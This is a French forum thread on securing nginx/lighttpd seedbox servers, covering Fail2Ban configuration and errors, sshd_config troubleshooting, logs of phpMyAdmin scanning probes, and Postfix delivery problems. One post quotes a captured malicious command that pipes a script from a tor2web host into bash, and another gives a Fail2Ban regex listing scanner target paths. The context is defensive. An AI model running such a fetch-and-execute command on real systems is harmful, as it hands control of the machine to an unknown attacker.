• Serveurs
  • [Discussion] : Sécurisation & Logs {nginx} {lighttpd}

Plus de soucis avec

Fail2Ban v0.11.0.dev1

J'ai suivi se tuto, mon jail.local

fail2ban-client status
Status
|- Number of jail:      4
`- Jail list:   nginx-auth, nginx-badbots, ssh, vsftpd
tail -f /var/log/fail2ban.log
2018-02-06 14:00:36,683 fail2ban.filter         [22626]: INFO    Added logfile: '/var/log/nginx/rutorrent-access.log' (pos = 36433, hash = ea764a7508e2a9fd1fe8983c78ed8dc6)
2018-02-06 14:00:36,684 fail2ban.filter         [22626]: INFO    Added logfile: '/var/log/nginx/access.log' (pos = 0, hash = d41d8cd98f00b204e9800998ecf8427e)
2018-02-06 14:00:36,685 fail2ban.filter         [22626]: INFO      maxRetry: 5
2018-02-06 14:00:36,685 fail2ban.filter         [22626]: INFO      encoding: ANSI_X3.4-1968
2018-02-06 14:00:36,685 fail2ban.actions        [22626]: INFO      banTime: 600
2018-02-06 14:00:36,686 fail2ban.filter         [22626]: INFO      findtime: 600
2018-02-06 14:00:36,689 fail2ban.jail           [22626]: INFO    Jail 'vsftpd' started
2018-02-06 14:00:36,689 fail2ban.jail           [22626]: INFO    Jail 'ssh' started
2018-02-06 14:00:36,690 fail2ban.jail           [22626]: INFO    Jail 'nginx-auth' started
2018-02-06 14:00:36,691 fail2ban.jail           [22626]: INFO    Jail 'nginx-badbots' started
un mois plus tard

Pour le bannissement en tapant ban + IP à bannir :

Est-il possible de bannir une plage d'IP de par exemple: 26.16.0.0 à 26.16.256.256 ?
Si oui comment taper cette plage ?

ou faut-il directement aller sur iptables ?

Merci

7 jours plus tard

Re... 😉

J'ai un "petit" souci avec ma sécurisation SSH. Je n'arrive ni à changer mon port, ni interdire la connexion "non root", ni à permettre un nouvel utilisateur pour la connexion SSH.

Pour commencer: si je change seulement le port 22 en port xxxxx, déjà là je ne peux plus me connecter avec la console. Je précise que plusieurs ports ont été testés et que le restart de SSH a été fait.

/etc/init.d/ssh restart

Je publie mon fichier de config. de SSH pour voir si une ou plusieurs incorrections y figurent.
<utilisateur-nouveau> = le nom de utilisateur créer pour la connexion SSH. (décommentée si le besoin est)
Match user <utilisateur-rutorrent> = utilisateur créé pour le rutorrent

nano /etc/ssh/sshd_config

Mon SSH

# Package generated configuration file
# See the sshd_config(5) manpage for details

# What ports, IPs and protocols we listen for
Port 22
# Use these options to restrict which interfaces/protocols sshd will bind to
#ListenAddress ::
#ListenAddress 0.0.0.0
Protocol 2
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key
HostKey /etc/ssh/ssh_host_ed25519_key
#Privilege Separation is turned on for security
UsePrivilegeSeparation yes

# Lifetime and size of ephemeral version 1 server key
KeyRegenerationInterval 3600
ServerKeyBits 1024

# Logging
SyslogFacility AUTH
LogLevel INFO

# Authentication:
LoginGraceTime 120
PermitRootLogin yes
StrictModes yes
# Choix des utilisateurs autorisés à se connecter,
# Ajouter nouvel user qu'on a créé plus haut.
# AllowUsers <utilisateur-nouveau>

RSAAuthentication yes
PubkeyAuthentication yes
#AuthorizedKeysFile     %h/.ssh/authorized_keys

# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes
# For this to work you will also need host keys in /etc/ssh_known_hosts
RhostsRSAAuthentication no
# similar for protocol version 2
HostbasedAuthentication no
# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication
#IgnoreUserKnownHosts yes

# To enable empty passwords, change to yes (NOT RECOMMENDED)
PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no

# Change to no to disable tunnelled clear text passwords
#PasswordAuthentication yes

# Kerberos options
#KerberosAuthentication no
#KerberosGetAFSToken no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes

X11Forwarding yes
X11DisplayOffset 10
PrintMotd no
PrintLastLog yes
TCPKeepAlive yes
#UseLogin no

#MaxStartups 10:30:60
#Banner /etc/issue.net

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

#Subsystem sftp /usr/lib/openssh/sftp-server
Subsystem sftp internal-sftp

# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication.  Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM yes

Match user <utilisateur-rutorrent> # etc... note : pas d'espace entre les virgules
ChrootDirectory %h

Salut,

non désolé @Peerotechnik je ne vois rien qui cloche. Néanmoins, j'espère que quelqu'un d'autre la verra car là je passe mon tour (fatigue, IRL etc).
Et puis, c'est assez étrange car cela devrait fonctionner (un exemple : le changement de port ne m'a jamais causé de souci et ce depuis Debian 6 (aka Squeeze)).

    2 mois plus tard

    Des avis sur suricata ? Grosso modo, l'aventurier est en vacances (a priori il doit manquer des informations).

    Tandis qu'au sujet de F2B (aka Fail2Ban), un jour il faudra revoir ça sic... Parce que dès fois, il ne réagit pas assez rapidement (un souci lié aux regex ?).

    Voici une (re)copie (ultra récente) des logs :

    [14/May/2018:10:22:37 +0200] "GET /phpmyadmin/index.php HTTP/1.1" 404
    [14/May/2018:10:22:38 +0200] "GET /phpMyAdmin/index.php HTTP/1.1" 404
    [14/May/2018:10:22:39 +0200] "GET /pmd/index.php HTTP/1.1" 404
    [14/May/2018:10:22:40 +0200] "GET /pma/index.php HTTP/1.1" 404
    [14/May/2018:10:22:40 +0200] "GET /PMA/index.php HTTP/1.1" 404
    [14/May/2018:10:22:41 +0200] "GET /PMA2/index.php HTTP/1.1" 404
    [14/May/2018:10:22:41 +0200] "GET /pmamy/index.php HTTP/1.1" 404
    [14/May/2018:10:22:41 +0200] "GET /pmamy2/index.php HTTP/1.1" 404
    [14/May/2018:10:22:42 +0200] "GET /mysql/index.php HTTP/1.1" 404
    [14/May/2018:10:22:42 +0200] "GET /admin/index.php HTTP/1.1" 404
    [14/May/2018:10:22:42 +0200] "GET /db/index.php HTTP/1.1" 404
    [14/May/2018:10:22:42 +0200] "GET /dbadmin/index.php HTTP/1.1" 404
    [14/May/2018:10:22:43 +0200] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404
    [14/May/2018:10:22:43 +0200] "GET /admin/pma/index.php HTTP/1.1" 404
    [14/May/2018:10:22:43 +0200] "GET /admin/PMA/index.php HTTP/1.1" 404
    [14/May/2018:10:22:43 +0200] "GET /admin/mysql/index.php HTTP/1.1" 404
    [14/May/2018:10:22:44 +0200] "GET /admin/mysql2/index.php HTTP/1.1" 404
    [14/May/2018:10:22:45 +0200] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404
    [14/May/2018:10:22:45 +0200] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404
    [14/May/2018:10:22:45 +0200] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404
    [14/May/2018:10:22:46 +0200] "GET /mysqladmin/index.php HTTP/1.1" 404
    [14/May/2018:10:22:46 +0200] "GET /mysql-admin/index.php HTTP/1.1" 404
    [14/May/2018:10:22:47 +0200] "GET /phpadmin/index.php HTTP/1.1" 404
    [14/May/2018:10:22:47 +0200] "GET /phpmyadmin0/index.php HTTP/1.1" 404
    [14/May/2018:10:22:47 +0200] "GET /phpmyadmin1/index.php HTTP/1.1" 404
    [14/May/2018:10:22:49 +0200] "GET /phpmyadmin2/index.php HTTP/1.1" 404
    [14/May/2018:10:22:49 +0200] "GET /myadmin/index.php HTTP/1.1" 404
    [14/May/2018:10:22:49 +0200] "GET /myadmin2/index.php HTTP/1.1" 404
    [14/May/2018:10:22:50 +0200] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404
    [14/May/2018:10:22:50 +0200] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404
    [14/May/2018:10:22:50 +0200] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404
    [14/May/2018:10:22:50 +0200] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404
    [14/May/2018:10:22:51 +0200] "GET /phpmyadmin-old/index.php HTTP/1.1" 404
    [14/May/2018:10:22:51 +0200] "GET /phpMyAdminold/index.php HTTP/1.1" 404
    [14/May/2018:10:22:52 +0200] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404
    [14/May/2018:10:22:52 +0200] "GET /pma-old/index.php HTTP/1.1" 404
    [14/May/2018:10:22:53 +0200] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404
    [14/May/2018:10:22:53 +0200] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404
    [14/May/2018:10:22:53 +0200] "GET /phpma/index.php HTTP/1.1" 404
    [14/May/2018:10:22:53 +0200] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404
    [14/May/2018:10:22:54 +0200] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404

    Auquel je rajoute un exemple de filtre (grâce aux regex) :

    ##Il doit être possible de le simplifier (ou alors le rendre nettement plus lisible et efficace).
    ##Je m'y connais assez peu dans ce domaine (j'entends les regex)...
    ##-------------------------------------------##
    FirstList = admin|dbadmin|myadmin|mysql|sql
    SecondList = probethenet|soapcaller|x00cookie
    ThirdList = manager|msd1.24stable|muieblackcat|soapcaller|shopdb|sqlmanager|mysqlmanager|mysqldumper
    ScriptList = command.php|common.cgi|getcfg.php|hndUnblock.cgi|tmUnblock.cgi
    FiveList = pma|phpadmin|phpmyadmin|phpmy|php-my-admin|2phpmyadmin|phpmyadmin4|phppma|php-myadmin|phpmy-admin
    AboutCMSList = database|db|joomla|cms|jenkins|jmx-console
    StangeList = wallet|wp
    ##-------------------------------------------##
    ElementToBlocks = (<FirstList>|<SecondList>|<ThirdList>|<ScriptList>|<FiveList>|<AboutCMSList>|<StangeList>)
    failregex = no user/password was provided for basic authentication.client: <HOST>
    user .
    was not found in.client: <HOST>
    user .
    password mismatch.client: <HOST>
    (?i)<HOST> .
    "(GET|POST|HEAD|USER|CONNECT) .(%(ElementToBlocks)s). HTTP." (400|403|404|405|406|444) .$

    Le fichier jail.local est censé les bloquer (ou bannir car il est configuré comme tel maxretry = 8 ou maxretry = 16).
    Donc, il y a un problème avec Fail2Ban car d'après les logs, il y a près de 40 requêtes qui passe avant qu'il remplisse son rôle (bannir).
    À moins que le problème soit lié à Nginx (la limitation de nombre de requête, etc) ?

    NB : Oublier PSAD car grosso modo, il n'y a aucun support.

    21 jours plus tard
    /bin/sh -c wget -qO- -U- https://httpsxztdjm2vrpw.tor2web.io/i.sh|bash
    wget -qO- -U- https://httpsxztdjm2vrpw.tor2web.io/i.sh

    Quelqu'un aurait une idée d'où cela provient ?
    Une autre lacunes de Fail2Ban ? Pourtant, cela trourne en boucle (les ban à cause des très nombreuses 404).

    Mauvaise nouvelle car le prestataire a choisi d'opter pour la prudence alors elle est presque totalement bloquer. Certes, je peux y accéder (temporairement) mais a priori les logs ne sont pas très parlant sic...
    Une solution temporaire ?

    kill -9 `pgrep wget`;

    En attendant de trouver mieux car je commence à croire que Fail2Ban à vraiment besoin d'être améliorer. Disons que j'ai juste redémarrer la machine et il y a de noouveau bugger dès le départ : fail2ban-client start sic...Comment il fait pour effacer son propre dossier ? C'est n'importe quoi là sic...

    Bonjour,

    Je ne connais pas ce type de filtre regex pour Fail2ban.

    Voici celle que j'ai avec le script Bonobox, et il fonctionne bien :

    filtre regex badbots

    un mois plus tard

    Bonjour,

    tout d'abord navré @Nebukad pour cette réponse très tardive. Non je n'ai pas oublié car je n'ai pas le temps (etc) de m'occcuper de ce problème.
    Non Il n'y a eu aucun souci auparavant (sur ces 8 derniers mois) alors j'ai du mal à le comprendre sic... Il s'est passé quoi ? Aucune idée car non les logs ne sont pas très parlant sic...

    Au fond, nous avons la même chose. Parce que la seule différence : c'est la syntaxe (via les regex dont j'ai déjà donné un exemple dans un message précédent).
    En dehors de ça, ma liste est légèrement plus longue (plus de cible) mais Fail2Ban aurait-il encore buggé ? C'est possible car je m'en souviens encore et oui je l'ai déjà signaler (même 2 ou 3 fois) sic... Cependant, il ne fut pas corrigé car j'ai vérifier (quelques fois) ces derniers mois sic...

    À moins que le souci ne provienne de iptables ? J'ai découvert qu'il était totalement vide contrairement à Fail2Ban.
    Au sujet de Suricata, il n'y a toujours personne ? Enfin s'il reste un aventurier fou dans les parages MDR Diantre, il aurait pu faire un effort concernant la documentation (de nos jours, elle semble assez obsolète etc).

    J'ai déjà pensé à Ossec mais il faudrait une meilleur interface (j'ai beaucoup de mal avec le langage XML car comme on dit : cela n'est pas ma tasse de thé) sic...

    Enfin bref, je donnerais des nouvelles plus tard. Disons que pour l'instant, j'ai divers souci IRL à résoudre...

    3 mois plus tard

    Bonjour,

    J'ai un souci que je n'arrive pas à résoudre.
    J'ai suivi la partie du tuto pour postfix mais impossible d'envoyer un email. Je ne comprends pas pourquoi.
    Je cherche à l'installer sur un Raspberry Pi hébergé chez moi, mais rien ne marche.

    Au début j'ai pensé que cela était due au fait que mon Raspberry Pi étant dans une DMZ. Donc j'ai suivi le tuto pour un autre dans mon réseau local. Cela ne change rien.

    J'ai toujours le mm message d'erreur:

    Oct 11 12:16:03 HOSTNAME postfix/postfix-script[17384]: starting the Postfix mail system
    Oct 11 12:16:03 HOSTNAME postfix/master[17386]: daemon started -- version 3.1.8, configuration /etc/postfix
    Oct 11 12:16:08 HOSTNAME postfix/pickup[17387]: 2166160E2A: uid=0 from=<root@HOSTNAME>
    Oct 11 12:16:08 HOSTNAME postfix/cleanup[17412]: 2166160E2A: message-id=<20181011101608.2166160E2A@HOSTNAME.lan>
    Oct 11 12:16:08 HOSTNAME postfix/qmgr[17388]: 2166160E2A: from=<root@HOSTNAME>, size=392, nrcpt=1 (queue active)
    Oct 11 12:16:38 HOSTNAME postfix/smtp[17414]: connect to gmail-smtp-in.l.google.com[173.194.76.27]:25: Connection timed out
    Oct 11 12:17:08 HOSTNAME postfix/smtp[17414]: connect to alt1.gmail-smtp-in.l.google.com[64.233.165.26]:25: Connection timed out
    Oct 11 12:17:38 v postfix/smtp[17414]: connect to alt2.gmail-smtp-in.l.google.com[74.125.68.27]:25: Connection timed out
    Oct 11 12:18:08 HOSTNAME postfix/smtp[17414]: connect to alt3.gmail-smtp-in.l.google.com[108.177.125.26]:25: Connection timed out
    Oct 11 12:18:38 HOSTNAME postfix/smtp[17414]: connect to alt4.gmail-smtp-in.l.google.com[74.125.195.27]:25: Connection timed out
    Oct 11 12:18:38 HOSTNAME postfix/smtp[17414]: 2166160E2A: to=<mymail@gmail.com>, relay=none, delay=151, delays=0.24/0.11/150/0, dsn=4.4.1, status=deferred (connect to alt4.gmail-smtp-in.l.google.com[74.125.195.27]:25: Connection timed out)

    Merci pour votre aide

      Magicalex Merci pour les infos, et pour la balise que tu as rajouté.
      Le tuto date en effet, mais marchait très bien avant 🙂

      Comme c'est pour un Raspberry Pi, je suis pas trop fan de docker.

      Merci pour ta réponse

      Salut
      J'ai utilisé la partie "mail" il y a deux jours sur mon nouveau Kim' et pas de soucis d'install', les mail sortent bien.
      Le problème doit être ailleurs mais je ne peux pas t'en dire plus, désolé.
      Ex.

      Merci.
      J'ai changé la conf et utilise le SMTP de ma box FAI.
      Je comprends pas totalement. Postfix n'est pas censé être un serveur SMTP?
      Cordialement

      6 jours plus tard

      therealcorwin
      Bonjour, j'ai le meme soucis sur fail2ban que toi .As tu trouvé une solution?
      C'est 2018-10-18 10:05:22,274 fail2ban.transmitter [14908]: WARNING Command ['status', '-']
      has failed. Received UnknownJailException('
      -',)
      2018-10-18 10:05:22,668 fail2ban.transmitter [14908]: WARNING Command ['status', 'Jail
      '] has failed. Received UnknownJailException('Jail',)
      2018-10-18 10:05:23,061 fail2ban.transmitter [14908]: WARNING Command ['status', 'list
      :'] has failed. Received UnknownJailException('list:',)

      10 jours plus tard

      Idem, j'ai le même problème de fail2ban. Install bonobox sur Debian 9 toute fraiche. Je n'y comprends rien.

      fail2ban-client status 0 < 17:03:21
      Status
      |- Number of jail: 8
      `- Jail list: nginx-auth, nginx-badbots, nginx-dos, postfix, postfix-rbl, ssh, sshd, vsftpd

      Ses 3 commandes reviennent toutes les 5 min.
      2018-10-28 17:00:13,019 fail2ban.transmitter [26226]: WARNING Command ['status', '-'] has failed. Received UnknownJailException('-',)
      2018-10-28 17:00:13,303 fail2ban.transmitter [26226]: WARNING Command ['status', 'Jail'] has failed. Received UnknownJailException('Jail',)
      2018-10-28 17:00:13,587 fail2ban.transmitter [26226]: WARNING Command ['status', 'list:'] has failed. Received UnknownJailException('list:',)

      Salut
      j'ai pas le temps en ce moment de tester, mais si tu veux revenir à un fail2ban brut:

      cd /etc/fail2ban

      tu backup le jail.local du script pour revenir à l’utilisation du fichier jail.conf de base:

      mv jail.local jail.local.bak

      et tu restart:

      service fail2ban restart

      là tu n'as de base que le ssh/22 sous surveillance mais tu ne devrais plus avoir d'erreurs, pour le reste il faudra trouver un autre tuto. Des machins ont du changer avec debian9, mais là je ne peux vraiment pas.
      Ex.

      Merci Ex

      J'ai déja test et c'est idem, donc de base il y a une merde mais je ne vois pas quoi.
      Je vais tenter de desinstall via purge et repartir de zéro pour voir.

      J'ai suivi le tuto de Erusaris (fail2ban en 0.11) et ça a fonctionné car plus d'erreur.
      ça m'a "juste" foutu le bordel au niveau de systemd. Impossible de lancer la commande service fail2ban avec ce tuto.
      Du coup je le lance via la commande client et ça roule mais le système en lui même n'est plus propre à ce sujet.

      Du coup surement un problème de version ou un bug dans les fichiers de conf. Bizarre car en purgeant et en réinstallant j'ai le même problème et le bug n'as pas l'air signalé chez fail2ban.

      Assez chiant tout de même. Donc si quelqu'un a une solution propre et fonctionnel, je suis super preneur afi nde sécure au mieux le serveur.

      Bonne journée.

      • 404 a répondu à ça.

        hackerman Salut

        Quel genre de désagrément tu constate avec systemd ?

        /etc/init.d/fail2ban status | start | stop

        Fonctionne ?

        Et aussi est ce que tu rencontre un problème avec la commande ?

        fail2ban-client

        Limite ce thread te viendrai pas en aide ?

        For systemd systems:
        You have to specify the backend in /etc/fail2ban/jail.conf to use systemd as follows:

        backend = systemd

        Then restart fail2ban:

        systemctl restart fail2ban